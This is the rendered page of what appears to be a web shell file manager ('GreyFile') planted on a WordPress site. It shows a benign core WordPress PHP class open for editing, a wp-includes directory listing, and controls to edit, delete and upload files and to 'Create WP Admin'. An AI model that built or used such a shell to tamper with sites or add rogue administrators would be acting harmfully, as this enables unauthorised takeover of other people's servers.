?? GreyFile — Mystic File Browser
Current path:
home
/
webdevt
/
www
/
wdp
/
wp-includes
/
?? Create WP Admin
??
Go up: /home/webdevt/www/wdp
?? Editing: class-wp-url-pattern-prefixer.php
<?php /** * Class 'WP_URL_Pattern_Prefixer'. * * @package WordPress * @subpackage Speculative Loading * @since 6.8.0 */ /** * Class for prefixing URL patterns. * * This class is intended primarily for use as part of the speculative loading feature. * * @since 6.8.0 * @access private */ class WP_URL_Pattern_Prefixer { /** * Map of `$context_string => $base_path` pairs. * * @since 6.8.0 * @var array<string, string> */ private $contexts; /** * Constructor. * * @since 6.8.0 * * @param array<string, string> $contexts Optional. Map of `$context_string => $base_path` pairs. Default is the * contexts returned by the * {@see WP_URL_Pattern_Prefixer::get_default_contexts()} method. */ public function __construct( array $contexts = array() ) { if ( count( $contexts ) > 0 ) { $this->contexts = array_map( static function ( string $str ): string { return self::escape_pattern_string( trailingslashit( $str ) ); }, $contexts ); } else { $this->contexts = self::get_default_contexts(); } } /** * Prefixes the given URL path pattern with the base path for the given context. * * This ensures that these path patterns work correctly on WordPress subdirectory sites, for example in a multisite * network, or when WordPress itself is installed in a subdirectory of the hostname. * * The given URL path pattern is only prefixed if it does not already include the expected prefix. * * @since 6.8.0 * * @param string $path_pattern URL pattern starting with the path segment. * @param string $context Optional. Context to use for prefixing the path pattern. Default 'home'. * @return string URL pattern, prefixed as necessary. */ public function prefix_path_pattern( string $path_pattern, string $context = 'home' ): string { // If context path does not exist, the context is invalid. if ( ! isset( $this->contexts[ $context ] ) ) { _doing_it_wrong( __FUNCTION__, esc_html( sprintf( /* translators: %s: context string */ __( 'Invalid URL pattern context %s.' ), $context ) ), '6.8.0' ); return $path_pattern; } /* * In the event that the context path contains a :, ? or # (which can cause the URL pattern parser to switch to * another state, though only the latter two should be percent encoded anyway), it additionally needs to be * enclosed in grouping braces. The final forward slash (trailingslashit ensures there is one) affects the * meaning of the * wildcard, so is left outside the braces. */ $context_path = $this->contexts[ $context ]; $escaped_context_path = $context_path; if ( strcspn( $context_path, ':?#' ) !== strlen( $context_path ) ) { $escaped_context_path = '{' . substr( $context_path, 0, -1 ) . '}/'; } /* * If the path already starts with the context path (including '/'), remove it first * since it is about to be added back. */ if ( str_starts_with( $path_pattern, $context_path ) ) { $path_pattern = substr( $path_pattern, strlen( $context_path ) ); } return $escaped_context_path . ltrim( $path_pattern, '/' ); } /** * Returns the default contexts used by the class. * * @since 6.8.0 * * @return array<string, string> Map of `$context_string => $base_path` pairs. */ public static function get_default_contexts(): array { return array( 'home' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( home_url( '/' ), PHP_URL_PATH ) ) ), 'site' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( site_url( '/' ), PHP_URL_PATH ) ) ), 'uploads' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( wp_upload_dir( null, false )['baseurl'], PHP_URL_PATH ) ) ), 'content' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( content_url(), PHP_URL_PATH ) ) ), 'plugins' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( plugins_url(), PHP_URL_PATH ) ) ), 'template' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_stylesheet_directory_uri(), PHP_URL_PATH ) ) ), 'stylesheet' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_template_directory_uri(), PHP_URL_PATH ) ) ), ); } /** * Escapes a string for use in a URL pattern component. * * @since 6.8.0 * @see https://urlpattern.spec.whatwg.org/#escape-a-pattern-string * * @param string $str String to be escaped. * @return string String with backslashes added where required. */ private static function escape_pattern_string( string $str ): string { return addcslashes( $str, '+*?:{}()\\' ); } }
Save
Upload
??
Create Folder
??
Create File
??
assets
|
??? Delete
??
block-bindings
|
??? Delete
??
block-patterns
|
??? Delete
??
block-supports
|
??? Delete
??
blocks
|
??? Delete
??
certificates
|
??? Delete
??
css
|
??? Delete
??
customize
|
??? Delete
??
fonts
|
??? Delete
??
html-api
|
??? Delete
??
ID3
|
??? Delete
??
images
|
??? Delete
??
interactivity-api
|
??? Delete
??
IXR
|
??? Delete
??
js
|
??? Delete
??
l10n
|
??? Delete
??
php-compat
|
??? Delete
??
PHPMailer
|
??? Delete
??
pomo
|
??? Delete
??
Requests
|
??? Delete
??
rest-api
|
??? Delete
??
SimplePie
|
??? Delete
??
sitemaps
|
??? Delete
??
sodium_compat
|
??? Delete
??
style-engine
|
??? Delete
??
Text
|
??? Delete
??
theme-compat
|
??? Delete
??
widgets
|
??? Delete
??
.DS_Store
|
?? Edit
|
??? Delete
??
author-template.php
|
?? Edit
|
??? Delete
??
block-bindings.php
|
?? Edit
|
??? Delete
??
block-editor.php
|
?? Edit
|
??? Delete
??
block-i18n.json
|
?? Edit
|
??? Delete
??
block-template-utils.php
|
?? Edit
|
??? Delete
??
block-template.php
|
?? Edit
|
??? Delete
??
blocks.php
|
?? Edit
|
??? Delete
??
cache-compat.php
|
?? Edit
|
??? Delete
??
canonical.php
|
?? Edit
|
??? Delete
??
category.php
|
?? Edit
|
??? Delete
??
class-avif-info.php
|
?? Edit
|
??? Delete
??
class-http.php
|
?? Edit
|
??? Delete
??
class-smtp.php
|
?? Edit
|
??? Delete
??
class-snoopy.php
|
?? Edit
|
??? Delete
??
class-walker-nav-menu.php
|
?? Edit
|
??? Delete
??
class-walker-page-dropdown.php
|
?? Edit
|
??? Delete
??
class-walker-page.php
|
?? Edit
|
??? Delete
??
class-wp-admin-bar.php
|
?? Edit
|
??? Delete
??
class-wp-ajax-response.php
|
?? Edit
|
??? Delete
??
class-wp-application-passwords.php
|
?? Edit
|
??? Delete
??
class-wp-block-bindings-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-list.php
|
?? Edit
|
??? Delete
??
class-wp-block-metadata-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-parser-frame.php
|
?? Edit
|
??? Delete
??
class-wp-block-pattern-categories-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-styles-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type-registry.php
|
?? Edit
|
??? Delete
??
class-wp-block-type.php
|
?? Edit
|
??? Delete
??
class-wp-customize-manager.php
|
?? Edit
|
??? Delete
??
class-wp-customize-panel.php
|
?? Edit
|
??? Delete
??
class-wp-customize-section.php
|
?? Edit
|
??? Delete
??
class-wp-customize-setting.php
|
?? Edit
|
??? Delete
??
class-wp-customize-widgets.php
|
?? Edit
|
??? Delete
??
class-wp-date-query.php
|
?? Edit
|
??? Delete
??
class-wp-dependencies.php
|
?? Edit
|
??? Delete
??
class-wp-embed.php
|
?? Edit
|
??? Delete
??
class-wp-fatal-error-handler.php
|
?? Edit
|
??? Delete
??
class-wp-feed-cache-transient.php
|
?? Edit
|
??? Delete
??
class-wp-hook.php
|
?? Edit
|
??? Delete
??
class-wp-http-curl.php
|
?? Edit
|
??? Delete
??
class-wp-http-response.php
|
?? Edit
|
??? Delete
??
class-wp-image-editor.php
|
?? Edit
|
??? Delete
??
class-wp-list-util.php
|
?? Edit
|
??? Delete
??
class-wp-locale.php
|
?? Edit
|
??? Delete
??
class-wp-meta-query.php
|
?? Edit
|
??? Delete
??
class-wp-network-query.php
|
?? Edit
|
??? Delete
??
class-wp-oembed-controller.php
|
?? Edit
|
??? Delete
??
class-wp-post-type.php
|
?? Edit
|
??? Delete
??
class-wp-post.php
|
?? Edit
|
??? Delete
??
class-wp-query.php
|
?? Edit
|
??? Delete
??
class-wp-roles.php
|
?? Edit
|
??? Delete
??
class-wp-session-tokens.php
|
?? Edit
|
??? Delete
??
class-wp-simplepie-file.php
|
?? Edit
|
??? Delete
??
class-wp-speculation-rules.php
|
?? Edit
|
??? Delete
??
class-wp-styles.php
|
?? Edit
|
??? Delete
??
class-wp-term-query.php
|
?? Edit
|
??? Delete
??
class-wp-text-diff-renderer-inline.php
|
?? Edit
|
??? Delete
??
class-wp-textdomain-registry.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-resolver.php
|
?? Edit
|
??? Delete
??
class-wp-theme-json-schema.php
|
?? Edit
|
??? Delete
??
class-wp-theme.php
|
?? Edit
|
??? Delete
??
class-wp-token-map.php
|
?? Edit
|
??? Delete
??
class-wp-url-pattern-prefixer.php
|
?? Edit
|
??? Delete
??
class-wp-user-query.php
|
?? Edit
|
??? Delete
??
class-wp-user-request.php
|
?? Edit
|
??? Delete
??
class-wp-user.php
|
?? Edit
|
??? Delete
??
class-wp-widget-factory.php
|
?? Edit
|
??? Delete
??
class-wp-xmlrpc-server.php
|
?? Edit
|
??? Delete
??
class-wp.php
|
?? Edit
|
??? Delete
??
class-wpdb.php
|
?? Edit
|
??? Delete
??
class.wp-dependencies.php
|
?? Edit
|
??? Delete
??
class.wp-scripts.php
|
?? Edit
|
??? Delete
??
comment-template.php
|
?? Edit
|
??? Delete
??
comment.php
|
?? Edit
|
??? Delete
??
cron.php
|
?? Edit
|
??? Delete
??
date.php
|
?? Edit
|
??? Delete
??
default-filters.php
|
?? Edit
|
??? Delete
??
default-widgets.php
|
?? Edit
|
??? Delete
??
deprecated.php
|
?? Edit
|
??? Delete
??
error-protection.php
|
?? Edit
|
??? Delete
??
feed-atom.php
|
?? Edit
|
??? Delete
??
feed-rss.php
|
?? Edit
|
??? Delete
??
feed-rss2-comments.php
|
?? Edit
|
??? Delete
??
feed.php
|
?? Edit
|
??? Delete
??
functions.wp-styles.php
|
?? Edit
|
??? Delete
??
general-template.php
|
?? Edit
|
??? Delete
??
global-styles-and-settings.php
|
?? Edit
|
??? Delete
??
https-migration.php
|
?? Edit
|
??? Delete
??
l10n.php
|
?? Edit
|
??? Delete
??
link-template.php
|
?? Edit
|
??? Delete
??
locale.php
|
?? Edit
|
??? Delete
??
media-template.php
|
?? Edit
|
??? Delete
??
meta.php
|
?? Edit
|
??? Delete
??
ms-default-constants.php
|
?? Edit
|
??? Delete
??
ms-default-filters.php
|
?? Edit
|
??? Delete
??
ms-deprecated.php
|
?? Edit
|
??? Delete
??
ms-files.php
|
?? Edit
|
??? Delete
??
ms-functions.php
|
?? Edit
|
??? Delete
??
ms-settings.php
|
?? Edit
|
??? Delete
??
nav-menu.php
|
?? Edit
|
??? Delete
??
option.php
|
?? Edit
|
??? Delete
??
post-formats.php
|
?? Edit
|
??? Delete
??
post-template.php
|
?? Edit
|
??? Delete
??
post.php
|
?? Edit
|
??? Delete
??
registration-functions.php
|
?? Edit
|
??? Delete
??
registration.php
|
?? Edit
|
??? Delete
??
revision.php
|
?? Edit
|
??? Delete
??
rewrite.php
|
?? Edit
|
??? Delete
??
rss-functions.php
|
?? Edit
|
??? Delete
??
rss.php
|
?? Edit
|
??? Delete
??
session.php
|
?? Edit
|
??? Delete
??
shortcodes.php
|
?? Edit
|
??? Delete
??
sitemaps.php
|
?? Edit
|
??? Delete
??
spl-autoload-compat.php
|
?? Edit
|
??? Delete
??
style-engine.php
|
?? Edit
|
??? Delete
??
taxonomy.php
|
?? Edit
|
??? Delete
??
template-loader.php
|
?? Edit
|
??? Delete
??
template.php
|
?? Edit
|
??? Delete
??
theme-previews.php
|
?? Edit
|
??? Delete
??
theme.json
|
?? Edit
|
??? Delete
??
user.php
|
?? Edit
|
??? Delete
??
version.php
|
?? Edit
|
??? Delete
??
wp-diff.php
|
?? Edit
|
??? Delete